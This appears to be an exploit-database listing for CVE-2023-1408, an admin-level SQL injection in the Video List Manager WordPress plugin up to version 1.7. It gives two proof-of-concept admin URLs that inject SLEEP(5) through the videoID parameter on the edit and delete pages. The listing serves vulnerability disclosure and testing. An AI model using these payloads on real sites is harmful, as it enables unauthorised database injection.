Exploit for Video List Manager <= 1.7 - Admin+ SQL Injection CVE-2023-1408

Name: Exploit for Video List Manager <= 1.7 - Admin+ SQL Injection CVE-2023-1408
Rating: 5 (100 reviews)

2023-04-17 | CVSS 5.8

## https://sploitus.com/exploit?id=WPEX-ID:BAF7EF4D-B2BA-48E0-9C17-74FA27E0C15B
SELECT query:

1. Log in as admin.
2. Visit the following path on the site: `/wp-admin/admin.php?page=tnt_video_edit_page&videoID=SLEEP%285%29`
3. The browser will take 5 seconds to respond.

DELETE query:

1. Log in as admin.
2. Visit the following path on the site: `/wp-admin/admin.php?page=tnt_video_del_page&videoID=SLEEP%285%29`
3. Click the "Yes" button.
4. The browser will take 5 seconds to respond.